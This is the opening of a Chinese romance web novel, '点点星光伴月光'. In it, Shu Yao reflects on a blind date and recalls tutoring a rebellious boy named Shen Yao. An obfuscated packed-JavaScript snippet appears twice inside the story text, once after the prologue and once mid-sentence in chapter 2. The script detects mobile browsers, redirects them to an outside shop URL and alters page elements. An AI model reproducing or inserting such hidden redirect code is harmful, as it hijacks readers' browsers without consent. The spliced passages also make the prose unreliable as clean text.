《点点星光伴月光》 1. 楔子 烛光莹莹的餐厅里,轻快悦耳的爵士音乐将轻松温馨的氛围烘托得正好。 舒瑶百无聊赖地晃动着手里的半杯茉莉花茶,撑着下巴瞄了眼手机上的时间。 好家伙,上次相亲迟到半小时,这次第一次约会又迟到了半小时。现在的社会都流行女的等男的这么久了吗? 舒瑶其实长得很漂亮,是符合大众审美的美女,鹅蛋脸小巧、杏仁眼清亮,鼻子细巧高挺,嘴唇是标准的微笑唇。如果不是她平时雷厉风行的爽辣性格,应该会招来更多男人的喜欢。 现在沦落到相亲的地步,一方面是她始终坚持自己的择偶标准、不愿意随随便便将就,另一方面就是工作占去她太多的时间和精力,拖了她寻找真爱的后腿。 家里的长辈亲戚急得不行,眼见她的年纪越来越大、在婚恋市场中的行情每况愈下,奈何本人不着急、父母也不催,竟让她舒舒服服混到了二十八岁还是单身。 舒瑶单手摩挲着雕花白瓷茶杯,环顾四周。 这家餐厅环境不错,暖橙色的灯光、简洁的原木风格和咸淡适口的菜肴都让她十分喜欢。所以上次他们约在这里见面,这次正式约会她也提出想来这里。 大概是因为地点比较偏的关系,即便是用餐高峰,也不用等位。舒瑶慢悠悠抿了口茉莉花茶,给对方发了条消息说要先点菜,便用手机开始扫码点餐。 等待已经超过半小时,她没耐心再等了。 这时,店门口的风铃一阵叮咚作响,显然是迎来了几位新客人。 一阵微风拂了拂舒瑶的及肩长发,背后的座位传来一阵凳子被移动的响动声,那几个刚来的年轻男生坐到了她身后那一桌。 舒瑶顿时觉得音乐声被他们的声音盖住几分。她蹙了蹙秀气的眉,专心看起菜单。 后面那桌点单的动作倒是快,人刚坐下没几分钟,服务员就端来了十多瓶啤酒。 “六儿,没多久就大四了,你到底是打算继续读下去考研还是去找实习先工作啊?” “还没想好。我爸妈想让我考公,但我觉得我对那个没兴趣。” “不是吧你们。我们大三第二学期才刚开始,不是应该好好商量一下五一假期去哪里玩吗?” “你就知道玩。要不是六儿被逼得紧,咱哥们儿几个今天也不能来吃这顿饭给他解压吧。讨论正事要紧。” “好好。服了你们仨学霸,就我学渣行了吧?” “你女朋友呢?她没给你什么意见?” 也许是因为最后说这句话的男生声音格外好听,低沉却不沙哑,声线朗润,甚至还有点耳熟。声控的舒瑶立刻被吸引了注意力。 被唤作六儿的男生回道:“她也想我考公,说是稳定。大帅比,你该不会想让我从了我爸妈和我女朋友吧?” “我可没让你从了。还是建议你按照自己的想法做,只是别忽略你爸妈和你女友的意见。再不济,也得顾虑些他们的感受。想好了的话,得好好和他们说。”声音很好听的那男生给的建议很中肯,还不忘顾及到同学的亲人和女友,听着倒是透出一股与年龄不太相符的成熟感。 舒瑶无意识地歪了歪头,内心有点意外。 她原本以为时下的小年轻们都是一些不管不顾闷头傻冲的小毛孩儿呢,看来是她浅薄了。 毕竟她离开校园已经快七年,当年的意气风发早已随着社会的历练被藏在心灵深处的某个角落里。对现在的大学生,她真的不怎么了解。 此时,其中一个声音有些粗哑的男生愤然说道:“大帅比,提到女朋友,你就别劝着六儿了。你说你这大学三年,顶着这么帅的一张脸硬是单身,那么多女生和你表白你都无动于衷,我真要怀疑你是gay了。” 那个声音好听的男生还未回嘴,倒是另一个男生说话了,“呸。老王你别胡说啊,你嫉妒沈哥也不是一天两天了。你还不了解他啊?他明显是对前女友念念不忘。” 六儿用肩撞了一下那个说错话的男生,“行了啊。别哪壶不开提哪壶。沈哥别理他们,今晚咱们不醉不归!”说着,四人举起酒瓶“叮叮”地碰了几下。 “都分手四年了还惦记呢。切,你也太痴情了,妥妥的恋爱脑。真对不起你这张脸和这身材。” “哎?沈哥,你说假如有一天你突然又遇见她,她也恢复了单身,你会再追她吗?” “我……”姓沈的男生竟然在此刻犹豫起来,声音中透出连自己都说不清的茫然,“我不知道。” “什么再不再的,当年的那个能算分手?那不明摆着是沈哥单恋人家吗?”粗嗓子男生没心没肺地说了一句。 原本一桌还算热闹的气氛顿时冷下来。 其中一个男生为了打破尴尬,先开口道:“老王你瞎说什么呢。成天和女友厮混没几天回来住的人知道个屁。” 感觉到对方的脸色不对,粗嗓子男生立马改口,“是我瞎说,我错了还不行么。管他分手还是单恋,算了算了。嗨!换话题。” “对对对,不是在聊未来吗?怎么转到情感上来了。太不符合咱今晚的气质和豪情了。” 声音很好听的男生轻轻叹了口气,声音沉了几分,“以后别提她了,都过去那么多年了。” 六儿欠兮兮地问了一句:“真的不提?” 被唤“沈哥”的男生轻轻笑了声,“滚。喝你的酒去。少管老子闲事。” 舒瑶漫不经心地点好菜下了单,将后面那桌的对话听了个十足十。 一帮青春洋溢的大男生们没压低声音,她坐得离他们最近,听不见他们的谈话内容那才叫奇怪。 八卦不请自来,她干等着也是无聊,干脆静下心来专心听他们说话,心里的好奇也被彻底勾了起来。 究竟是什么样的帅哥那么痴情,对前女友念念不忘了好几年,一直单着都不肯接受新恋情?按这几个小毛孩儿的年纪来推算,应该是少年时期就早恋了? 这有些打破舒瑶对男性心理学的认知。 她挺直身体抬起头,稍微侧过脸,想瞧一眼身后那桌被三个男生一致认定的“痴情大帅比”到底长什么样,毕竟这种几近绝迹的好青年着实不多了。 忽的,身后传来一阵杯子翻倒的清脆声响。 “沈哥你没事吧?这杯子里的水可烫着呢。”那三个男生没想到他会手滑弄翻杯子,“早知道酒上来的时候就该让服务员把这些免费热水收走。” “别念叨了。餐巾纸呢?赶紧擦擦。” 刚还被舒瑶认为思想有点成熟的那个男生,此刻的声音里透出慌乱,甚至还有些颤,“没、我没事。” 果然还是毛头小子么,听那阵“乒铃乓啷”的动静,毛毛躁躁的。 舒瑶微微摇了摇头,浅浅一笑,扭回头去。 恰在此时,餐厅的边门开了。一个穿着浅灰色风衣、中等身材的男人步履沉稳地走了进来,径直走到了舒瑶那桌,“舒小姐,抱歉。路上堵车,我来晚了。” 舒瑶礼貌性地扯了下嘴角,“没事,坐吧。我刚点好菜。” 男人叫赵明泽,长相和衣品都是中规中矩,29岁,海城本市人,目前在某大型外资咨询机构就职。父亲在市教育局工作,母亲则是全职妈妈。论个人条件和家庭条件算是不错的。 两人之所以相亲之后能有约会,也是两人在工作方面有共同的话题点。 舒瑶本身对相亲十分反感。那种以结婚为前提的刻意相遇让她打从心底感到不舒服。所以平时有人给她介绍对象,她是能推的都推了。 但这次相亲是最疼爱她的小姨三年来第一次给她介绍的,她很难拒绝。 见男人坐下,服务员及时端来一杯菊花普洱放到他面前,又端来两小盘凉菜。 “谢谢。”赵明泽接过茶后仔细吹了吹,抿了一小口,扶了一下鼻梁上的银边眼镜,优雅的笑容中夹裹了几分不经意流露出的理所当然,“还麻烦你提前帮我点好茶。” “没事。提前点好,效率高,免得你来了还得等。”舒瑶随意笑了笑。 周围突然安静不少,舒瑶背后那桌似乎刻意压低了说话声,爵士轻松的曲调又变得清晰起来。 赵明泽用手摸了摸梳得一丝不苟的头发,“上次你说你在你们公司被升为策划组组长了?什么时候的事?” “对,一年了。”舒瑶夹了一筷子凉拌海蜇送入口中,神情自然。 赵明泽举起手中的茶杯,“我记得没错的话,你才28岁,还没到30岁的年龄,这么年轻就能升到策划组组长这个职位,可见工作能力很强。非常优秀。” “谢谢夸奖。”舒瑶笑容中多了一些真意,提到自己喜欢的工作,整个人都有些放松下来,“别夸我了,再夸我可就要骄傲了。” “那……”赵明泽迟疑了一会儿,转了转手中的茶杯,才说:“你今后如果结了婚,还打算继续工作吗?” 舒瑶疑惑,停下夹菜的手,“我结婚,和我是否继续工作有什么关系吗?” 赵明泽犹豫着说:“你看。我家呢,我爸负责上班赚钱养家,我妈负责打理财产和家务。夫妻恩爱,家庭和谐,内外分工明确,两人都过得很愉快,生活也非常有质量。” 舒瑶眨眨眼,仔细品了品他说的话,反应过来,“所以,你是觉得女人终究要回归家庭,结了婚就应该辞掉工作?” 赵明泽客气地笑道:“也不一定。我只是觉得一人主内、一人主外有利于家庭稳定。” 舒瑶在心里翻了个大大的白眼,面儿上眼睛咕噜噜一转,嘴角的笑意扩大几分,“哦~~也是。我觉得我赚的不算少,以后如果我的另一半想在家专心打理家庭财产和家务,我也是赞成的。” 赵明泽还没咽下的一口茶水呛在了喉咙里。 * 二月末的海城,春寒料峭。东风里的冷意正浓,将想要散步的人群挽留在温暖的家中。 在非商业区,到了晚上九点,街道马路上的行人已不多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那必须啊。”电话那头的林娓娓正在啃薯片看恋综,“对了。提起相亲,以前总是寒暑假跑来找你玩的那个小男生呢?我记得那孩子特别逗,有次相亲非得跟着你去。结果你在那边相亲,他在旁边写卷子的那个,最近还有联系你吗?” “嗯?你说沈曜啊?”舒瑶忙活一天,又应付完相亲,已经没什么力气。现在到了家完全放松下来,半眯着眼睛躺在沙发上当咸鱼,有点昏昏欲睡。 “对对,就是他。” 听闺蜜提起那个很特别的小朋友,舒瑶稍微清醒了点,“就过年过节偶尔发个消息吧,平时没什么联系。你怎么突然提起他来了?” “你这不是难得又相亲了一回吗?我就想起他了。”林娓娓是个话痨,不工作不打游戏的时候,就喜欢拉着自己褒电话粥,“提到那个小朋友真可惜啊……” “可惜什么啊?”舒瑶一阵苦笑,心里已经猜到不正经的闺蜜想歪歪什么。 “长得那么俊俏,稍微涂个唇膏修修眉毛换个女装,出去就是个大美人儿。长大了不知道得帅成啥样!” “停!”舒瑶听不下去了,“禁止对我带过的学生进行各种奇怪的幻想。这是我的原则,谢谢。” 似乎想到什么,舒瑶又补充一句,“他长得可不娘,五官的确俊美,但轮廓分明,一看就是男生骨相。再说那时候他岁数还小显稚嫩,现在肯定不能扮女生了。” “哦呵呵~~”林娓娓一阵怪笑,笑完以后,语气才正经起来,“说真的。我是真觉得可惜。这小朋友如果再大几岁,和你真的很般配。” 舒瑶沉默下来,听她提到这件事就头疼。那是一段让她觉得有些惋惜又注定了结局BE的回忆。倒也不是对那男生有什么异样的心思,只是因为两人当年关系很不错,可以算作好朋友。 舒瑶不吭声,林娓娓立刻收敛了几分,严肃道,“这么几年过去了,我才敢提这件事。连我当时都怀疑他对你……” “姐妹打住!”舒瑶揉揉太阳穴,起身给自己倒了杯温开水,“那个年纪的男生都不定性,何况我们还差了七岁。你快别提这件事了。” “我就随便说说。只是他连着好几个长假都来海城找你玩儿,我觉得这小男生对你挺认真的。” “谢了,大可不必。”舒瑶很想通过手机捏住好友的嘴,“我虽然不反对姐弟恋,但弟弟真的不适合我。我以后也绝对、绝对不会找个弟弟谈恋爱的!我家族里那几个皮猴儿从小可没少和我吵架,我受的够够的。尤其我那个差点没气死我的表弟,你应该也知道吧。” 电话那端的林娓娓一阵哆嗦,“我懂,我懂。心疼你一秒钟。行吧咱一起聊聊别的~” 也许是和好友打电话的时间太长,也许是提到了当年和自己很亲厚的小朋友,沉淀在舒瑶心底好长时间的那段记忆片段被翻了出来。 当晚,舒瑶就梦见了那段往事和那个少年。 2. 少年(一) 舒瑶的大学是在川城念的。 不同于她的故乡海城,繁忙的都市化节奏让每个在时代浪潮里拼搏的人都行色匆匆。 川城是一座充满悠闲气息的古老城市,随处可见的传统茶馆、麻辣香锅和火锅店,在任何地方都能发现围在一起打麻将的人群;无论是老人孩童、还是年轻人,这里的人们更热情直率,也更懂得享受生活。 舒瑶喜欢川城,也尽可能多的利用课余闲暇流连在这里的大街小巷,用有限的时间去感受学习以外的人间烟火气。 但作为一名住校的大学生,限制颇多。那时候的她觉得学校宿舍管的太多,各种大功率的电器都禁止使用,还有定时熄灯和门禁,过得束手束脚的很不适应。 因此忍到大二的时候,她对学校和周围环境都已摸清,就开始和两个关系比较好的同学在外面合租。 父母给的生活费只够她吃穿,她也不想再问父母多要。于是她就接了一些兼职家教来做,收入正好抵了房租的支出。 那年她记得她读大三,房东说要涨房租。她带的两名初中学生里正好有一个毕业了,她有了一个空档,决定再接一个的时候,中介给她推荐了一份家教小时费翻倍的学生。 既然费用给的异常高,那肯定是“事出反常必有妖”。中介倒也实诚,说这初二的男生家庭最近有点矛盾,所以脾气不太好,已经换了四个家教老师了,目前没人能收服。 中介见舒瑶长得好,待人说话也很有耐心和分寸,就想推荐给她去试一下,说不定就成了呢。 男生的父亲沈志鹏也很重视这件事,在意识到问题的严重性之后,第一次将男生的相关近况连同家庭矛盾都告诉了新家教——舒瑶,希望她可以坚持下来。 舒瑶想着试一下也不吃亏,实在不行了就撤退。万一成功,高额的家教费她也当然乐意得到。 男生名叫沈曜,母亲在四年前因病去世了,父子俩相依为命。沈志鹏时常出差,家里有请钟点工打扫和做饭。 沈曜以前的成绩都很好,性格开朗,除了偶尔冲动打架之外,算是个好带的学生。但自从沈志鹏打算再婚之后,沈曜就不对劲了。 沈曜强烈反对沈志鹏再婚,并开始通过翘课、不交作业和老师顶嘴唱反调等叛逆行为表示抗议。 语文、数学和其他几门副课的成绩倒还好,但原本就是短板的英语成绩却直线下滑,这使一直对沈曜成绩比较重视的沈志鹏头疼不已。 目前沈志鹏的再婚对象已经怀孕,沈志鹏绝不可能和她分手。沈曜的态度又很强硬,敢把别的女人领回家,他就把家砸了。 沈志鹏实在没办法,只好在同一个小区买了另一套房子让女方先住着。 基本情况了解完毕,舒瑶心里有了底。 在第一次上门家教这天,沈志鹏又出差了。舒瑶认真分析了这家的情况,不容乐观,应该说是很棘手才对。 她决定不参合到对方的家庭矛盾里,只专心做好本职工作。 沈曜的家位于一片中高档的住宅区内,小区也才刚建成五、六年,中西结合的住宅楼建筑外观和盎然美观的绿化景观设计,都体现出这男孩的家境优渥,至少也算是中产阶级。 那天,她硬着头皮敲响了沈家的大门,连着敲了将近两分钟,房里才有了点动静。拖沓的脚步声隔着门传过来,可以预见门内的主人是多么的不想给她开门。 要面对传说中的小魔王,说不紧张是假的。舒瑶听到脚步声越来越近,深深吸了口气,心里紧张,表面却佯装淡定。 输什么都不能输气势! 门被打开,一个瘦高个儿的俊俏少年歪歪斜斜地靠在门边,一双琥珀色的大眼睛冷冷盯着舒瑶,仿佛在审视她。他穿着一身灰白色的家居运动服,脸上的表情活像别人欠了他八百万。 舒瑶与他对视,目测他就算没有178,也至少有176。 现在的初中生都长这么高的么?舒瑶在心里感叹一句。 少年懒洋洋地嚼着口香糖,见到舒瑶先是一愣,随后双眉紧蹙,吊梢的眼尾透出一股桀骜不驯的气势,“你谁啊?”语气很欠揍。 见到这样的沈曜,舒瑶的脑海里瞬间浮现出一只匍匐在荒野里、随时即将发怒的小黑豹。 舒瑶对他礼貌性的笑道:“你好,我叫舒瑶,是你的英语家教,你父亲应该和你说过吧?” “不需要。你回吧。”少年抬手随意一挥,像是在赶苍蝇。他很不耐烦地瞥她一眼,话还没说完就要关门。 舒瑶无视他故意惹人不快的动作,眼疾手快、双手推着门的瞬间就将一只脚塞到门框那边。 谁知少年关门的力气很大,舒瑶推着门的手没顶住,脚踝被门狠狠夹住。 “啊!!”舒瑶疼的当即就缩起身体弯下腰。 少年显然没想到她居然会伸脚卡住门,听她惨叫,赶忙松开手,“你干嘛啊?!”声音透出几分惊慌。 舒瑶眼中泪光乍现,蹲下身子抱住右脚,整张脸都皱到了一起,神情十分痛苦。 “好痛……” “是你、你硬要闯我家的。不能怪我!”少年虚张声势,但结巴的说辞还是暴露了他的心虚。 “痛死我了。不怪你怪谁!”舒瑶的受伤的地方传来灼烈的疼痛,耐心顷刻间耗尽,火气也噌噌往头顶上猛蹿。 管他什么雇主,伤了人就是不对! 今天这趟真倒霉,她可不能白来,不然太亏了。 “快扶我进去。不然我就坐你家门口不走了!”有破绽可以钻,舒瑶才不会放过。 少年瞪大眼睛,眸中写满不可思议,一副没见过女生耍赖皮的样子。 他脑中遽然浮起一个念头:没想到长得这么好看的女生,性格居然这么泼辣。 “看什么啊?快点扶我啊!”舒瑶疼的满脸通红,额头也冒出冷汗,“你是不是叫沈曜?今天可别想我给你补课,你得陪我去医院,还得赔我医药费!不过得帮我先绑上冰袋再出门。” 沈曜涨红了脸,想发脾气又觉理亏,吭哧了好一会儿,才扶起舒瑶进了屋子,提高嗓门道:“你、你你别装,对我没用。” “装没装的,等我脱了袜子看看脚踝就知道了,少废话!”舒瑶幽怨地瞪了他一眼,大声斥他。 少年被她训斥得傻眼,眨巴的大眼睛里不小心露出一丝怯意。 舒瑶精明地捕捉到他眼中的露怯,心道这孩子本性倒是不坏,起码看着还有些良知。 沈曜立在她身旁,嘴巴张张合合、不知道下一步该作何反应。 以前几个家教都是客客气气的。这次新来的这个女家教不按套路出牌,居然比自己还凶,沈曜心里一时还没想好怎么接招。 “去给我拿冰袋!”舒瑶一跳一跳地扶着墙走到客厅里,语气依然很强悍,像是命令一般。 沈曜手脚僵硬的去厨房冰箱里拿了两个冰袋过来,递给她,“给你。” 舒瑶蹦到一张椅子旁坐了,脱下袜子,白皙纤细的脚踝上果然有两道触目惊心的狭长红印,丝丝血迹从那两道印子里渗出来,瞧着就觉得疼。 沈曜神情惊诧,皱起眉头不忍直视。自己刚才关门的力气有这么大? “你看吧。我可没骗你!等会儿你得给我叫个车,送我去医院!”舒瑶捧起右脚查看了一会儿,嘶嘶忍着疼,又斜眼怒瞪他。 沈曜窘得脸和脖子通红,眼睛凝在那两条印子上,嘴上仍不服软,“去就去!谁怕谁?!”说完,立马摸出手机约了网约车。 到了医院挂号缴费,排队等拍片子的时候,两人相看两厌,中间隔开三个空座位各自坐着,谁也没主动开口说话的意思。 舒瑶的一位室友恰在此时给她打了个电话。她俩都是海城人,抱着手机就说起了家乡话。 “啊?夜叨侬不来啦?个么我票子退特?” “好额晓得啦。正好吾阿不好去了。” 舒瑶挂了电话,见一旁的沈曜正用好奇的眼神打量她。 少年那双褶皱明显的琥珀色大眼睛里除了探究,还有一点点莫名其妙的亲切感。 舒瑶被他憨憨的神情萌了一下,心情稍微明朗了一点,也侧头盯着他瞧,“你看我干嘛?” 见她笔直地注视自己,沈曜有点不自在,歪了歪身子换了个坐姿,“你……是海城人?” 舒瑶:“对啊。怎么?你排外啊?” 他好像听得懂海城的方言。 沈曜赶紧摇摇头,“没。” 舒瑶抬了抬形若远山的眉,“你讨厌海城人?” “不讨厌。”沈曜的眸子垂下来,一丝温柔从他眼底浮起,过了一会儿才说:“我妈妈也是海城人。” 舒瑶心里“咯噔”沉了一下。她想起这男生的母亲已经过世好几年了。 时近傍晚,太阳逐渐西沉。明烈的阳光淡下去,一束夕阳从玻璃窗外投射进来,将少年线条流畅的下颚线染上一层蜜色,青涩又稚嫩。舒瑶甚至能看清他脸颊上细细的汗毛。 舒瑶有点莫名的心疼他,毕竟他在十岁的时候就已失去母亲。想到这些,舒瑶心里对他那股剩余不多的怒气倏地就散了。 舒瑶的神情柔软下来,她忽然有了个想法,试探着问他:“看在你今天送我来医院的份儿上,晚上我请你吃饭?” 沈曜一秒钟变脸,又恢复到油盐不进的样子,手肘撑在膝盖上,两手交叉相握,将下颚抵在手背上,微微侧过脸,“想讨好我?没用,别白费功夫了。我不想补课。” 可能是因为他手长脚长的关系,带着少年人独有的肆意和慵懒,看上去拽拽的,却不令人生厌。 舒瑶扫了眼他半长不短的头发,看着他茸茸的、发量浓密的头顶,联想起电玩城里钻来躲去的地鼠,也是这么毛茸茸的,可爱又欠揍。 “你是爸宝男吗?”舒瑶压下嘴角的笑意,白了他一眼,讥诮:“想通过摆烂让你爸关心你啊?这方法太幼稚了,只会把你爸越推越远好吧。” “谁是爸宝男?!”沈曜被她的说辞刺激到了,眉毛倒竖,霍然站起身就想发火。 舒瑶却在此时蓦地变了脸,对他笑弯眉眼,轻轻扯了扯他袖子,示意他坐下。她本身就长得秀美,刻意露出嫣然的笑容,便让人很难拒绝。 她的语气也软了几分,像在逗小孩,“我看出来了,你不是爸宝男。你是个有责任感的好少年。少年,我脚疼,你不得送我去吃饭啊?男子汉得有担当才对嘛。毕竟我的脚是被你弄伤的。” 沈曜凶她的眼神即刻变得迷茫,被气得鼓胀的胸口像被她柔软的语气和神态扎了一下,陡然泄了气。 这女人搞什么? 一会儿凶的要命,一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13258909|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿又笑颜如花。 玩变脸吗? 他感觉自己一拳打在了棉花上,无处使力。 他实在摸不清她的套路。 这女人有点作,不太好应付……他想。 * 按照舒瑶的要求,两人打了一辆出租车来到舒瑶学校附近的一条小街,沈曜扶着她一瘸一拐地走了两分钟,进了一家门面还不足十五平的小饭店。 “这家店我常来,他家的东西做的干净又好吃。”舒瑶对沈曜解释道。 “嗯。”沈曜不想和她多废话,他总觉得这女人有种说不出的狡猾。 舒瑶笑着和老板打招呼,“刘叔,来两份番茄炒蛋盖浇饭。口味都按照我之前吃的那样来。” “好咧。”被唤作刘叔的中年男人个子不高,胖嘟嘟的,笑起来像尊弥勒佛。见舒瑶的脚行动不利索,关心地问道:“哟。女娃儿这脚咋地了?” “不小心崴到了,没大事,两星期就好。”舒瑶被沈曜扶着坐了下来。 “这男娃儿长得好乖哟。以前没见你带来过啊?你弟弟?”刘叔操着一口川普,看了眼舒瑶带来的陌生少年。他走进厨房抄起锅铲打开火,还不忘和舒瑶聊天。 “一个小弟弟。今天没人给他管饭,我就带他来您这儿吃。” 沈曜刚在她对面坐下,心里不爽的劲儿还没过去,听她和自己套近乎,竖起眉毛低声凶她,“谁是你弟弟?!别和我攀关系!” 店里又陆续来了几波客人,三三两两地分开落座,多数都是学生,周围逐渐喧腾起来。 舒瑶找店员要了两瓶可乐,打开一瓶推到沈曜面前,笑眯眯地问他:“那要么……冤家?敌人?还是施暴者?你选一个吧?” 沈曜脸色铁青,懒得和她说话,拿起那罐可乐猛灌了两口,面色才好些。 两盘番茄炒蛋盖浇饭很快被端上来,色泽鲜明的西红柿和鸡蛋、泛着淡淡金色的油汤附着其上,飘出一股馥郁的香气,令人食欲大增。 舒瑶拿起筷子,用随身带的酒精棉擦了擦,递给沈曜,“快尝尝,可好吃了。肯定和你平时在外面吃的不一样。” 沈曜瞥她一眼,接过筷子开始闷头扒饭。刚扒了两口,他停顿了一下,抬起头惊讶地瞅了一眼舒瑶。 这番茄炒蛋……竟然是甜的。和他们川城惯常的咸味番茄炒蛋完全不同。 舒瑶见他眼睛睁得溜圆,脸颊边还鼓起一块,于是笑着对他说:“怎么样?是不是很好吃?” 沈曜不情不愿的“嗯”了一声,又把头埋下去,手下扒饭的动作反而快起来,头顶半竖起的密实黑发随着他脑袋的起伏微微颤着。 他年纪还小,本性也不坏,有什么高兴和不高兴的都表现在脸上。 舒瑶瞬时觉得这个心思单纯又直接的小孩顺眼了许多。瞧着他松快的表情和亮晶晶的眼神,她就知道自己堵对了。 沈曜也爱吃甜的番茄炒蛋。 她刚来川城读大学时,吃到这边的番茄炒蛋都是咸的,很不适应。 试了好几家小店,就这家能做出她喜欢的味道。沈曜的妈妈既然是海城人,那炒的番茄炒蛋应该也是甜的。 没多一会儿,沈曜那盘盖浇饭就见底了。舒瑶扫了眼他空空如也的盘子,笑着对刘叔招了招手,“刘叔,再给我来一份儿。” “没问题!” 第三份盖浇饭端上来,舒瑶将它推到沈曜面前,“你还长身体呢,不够就再吃一份。” 沈曜掀起眼皮瞪她一眼,面露不爽,耳朵尖却渐渐红了。 舒瑶在心里嘀咕了一句“别扭的小孩”,拿起可乐抿了一口,“慢点吃。觉得好吃的话,我下次给你做。我做的比刘叔做的还好吃。” 沈曜默默点了点头,顿了两秒,忽的抬头睨着她,颊边一鼓一鼓的,像只凶狠的仓鼠,“你又想耍什么花招?” 舒瑶停了筷子,玩味地瞅他,“这怎么叫耍花招呢?我这不是明摆着么。我得交房租,钱不够,你爸爸出的学费多,那我肯定得留下来多赚点钱啊。” 沈曜愤愤然扔了筷子,“想得美呢你。” 舒瑶知道面对这个中二年纪的男生不能硬杠,立刻放低姿态,“哎呀。我也不是非得给你当家教,可你家离我学校近啊,我的脚现在行动不便,远的单我又接不了。再说这伤也是被你家大门给夹伤的。” 沈曜眼里的火将冒未冒,舒瑶看见他侧脸的骨骼微突,显然是咬紧了后槽牙忍着才没发飙。 舒瑶在心里闷闷地笑了一阵,紧接着加了个保证安抚他: “这样吧,我就只给你上两个星期的课,每周三节,一共六节课。等两个星期后我的脚好了,我立马走人,绝不纠缠,保证再也不出现在你面前。这样你也可以不用再应付不停来给你上家教的陌生人,大家都太平两星期。可以吗?” 沈曜见她坦白磊落,再说的确是自己害的她受伤,抗拒的情绪减少了一些,思考了半分钟,终于点头答应道:“说好了,就两个星期。两个星期一到,你立刻走人。” 舒瑶勾起嘴角,对他伸出手掌。 “干嘛?”沈曜警惕皱眉。 “击掌为定。” 沈曜快速伸手,与她击了一下手掌,一触即分,“说定了。别耍赖。” 舒瑶狡黠地眯眼一笑,“谁赖谁是狗。” 3. 少年(二) 不算上次的话,今天是第一次正式给沈曜补课。 舒瑶的学校和沈曜的学校离的不远,坐两站公交车就能到。 舒瑶怕沈曜翘她的课,所以到了那所中学放学的时间点,就守在沈曜学校的大门口堵人。 沈曜的学校大门口两侧攀满了层叠有致的爬山虎。不但如此,甫一进校门,就是一条爬山虎织就的浓荫长廊。枝节缠绕、生机勃勃,就像这些青春洋溢的莘莘学子。 此时正值深秋,川城仍是接近二十度的气温。相比春夏一袭单调的绿,眼下的爬山虎红绿交叠,被秋风拂过,籁籁轻响,波澜起伏,清雅中透着华丽。 舒瑶慢悠悠穿过长廊,放眼望去,只觉秋日白天的燥意顷刻间被抚净。脑中浮起唐伯虎为爬山虎赋的诗:扑檐直破帘衣碧,上砌如欺地锦红。 穿过长廊就是个用漆绿的铁丝网围成的篮球场。此刻已是放学时间,场上有二十多个少年正在打球,周围还或站或坐地围了不少看热闹的学生。 男生打球时的叫喊声、女生的笑闹声交织其间,夹着篮球弹在地面上的“砰砰”声,每个画面都显出这个年纪的少年人特有的活力。 “沈曜!快把球传给我!” “拦他!快拦住他!” “周思诺!接球!” 舒瑶被这些年轻的小朋友们吸引,边走边愉悦地环视球场周围。 因为脚上的伤还疼着,舒瑶走路的速度仍不比平时。她慢吞吞地走到球场边缘,靠在绿色的隔离网上,听到有学生唤沈曜的名字,便饶有兴致地望向不远处的沈曜打球。 看了没几分钟,周围有些经过的男生和女生不停地将视线投向舒瑶。 舒瑶的皮肤白皙,明眸皓齿,人长得也修长。她今天穿了一条中长款的米色连衣裙,外面套了件浅蓝色的牛仔外套,扎着个高马尾。和一帮穿着统一校服的女初中生相距几米,十分惹眼。 沈曜刚抢下一个篮板,转身带球疾跑、停下、站定、投了个三分球、顺利得分,所有的动作行云流水、一气呵成。 四周响起同队队员的喝彩,一旁围观的女生们一边给他加油一边兴奋地叫好。 舒瑶笑眯眯地为他鼓掌。小样儿的篮球打得真不错,能看出来平时没少练。 球场不知有哪个大胆的男生对着舒瑶的方向吹了声口哨,中场休息的几个男生顺着那声音朝她望过去。 沈曜左手掀起衣摆随意抹了把脸,一转头,见身旁的好友周思诺正盯着球场边看得专注,也顺势看过去。 一看,他愣住了,“卧槽……”右手上托举的篮球也应声而落,“嘭”的一声弹向地面。 周思诺听他下意识出口的脏话,将视线转到他脸上。见沈曜黑着脸看向他刚才盯着的漂亮姐姐,好奇地问,“怎么不开心了?不是赢球了吗?” “我过去一下。你捡一下球。”沈曜和周思诺嘱咐了一句,臭着一张脸转身向舒瑶所在的方向一路小跑过去。 舒瑶笑着对跑来的男生挥了挥手。 沈曜身后立刻传来一阵哗然。 “沈曜!哪来的神仙姐姐啊?”远处的一个男生不嫌事大地对他起哄,甚至吹起了口哨。 沈曜的脸更黑了,回头说了声“滚”,跑到舒瑶身边,满脸写着“我不高兴”,质问道:“你怎么来了?” 舒瑶不介意地耸耸肩,“怕你翘课,提前来接你啊。”其实顺路也是原因之一。 “和你说好的事,我不会翘的。”沈曜抬起胳膊在额头又蹭了一下,擦掉挂在眉毛上的汗水。 舒瑶见他满头是汗,从口袋里摸出一包纸巾,抽出两张递给他,“别用袖子擦汗,多不卫生。用纸巾吧。” 沈曜本来不想理她,结果一眼瞥见自己的白袖子上多了两道灰色的汗渍,顿觉尴尬,只好接过纸巾,低声嘟囔了句“谢了。” 舒瑶被他又别扭又憨的神情逗笑了,弯起圆亮的杏眼,脸上笑出了两个小米窝。 下午的阳光已被薄云削弱不少,落在她含笑的眸中,将她的深瞳衬照得宛如墨色琉璃。 沈曜盯着她的笑脸瞧了几秒,神情有些恍惚,原本皱起的眉头不自觉地舒展开了。 书中提及的一笑生花,说的是不是就是这样的女生? “啊,我带了水,你要不要喝?”舒瑶从书包侧口袋里抽出一瓶矿泉水,递给他。 沈曜本想拒绝,可垂眼看见她灿然的眼眸中映出自己的身影,竟鬼使神差地接了过去。 身后又传来此起彼伏的口哨声。沈曜回过神,脸红透了,转回头瞪了他们一眼,吼道:“别瞎起哄,这我亲戚!” 舒瑶心想,这帮毛孩子可真逗。自己在他们这个年纪的时候,也这么傻的可爱吗? 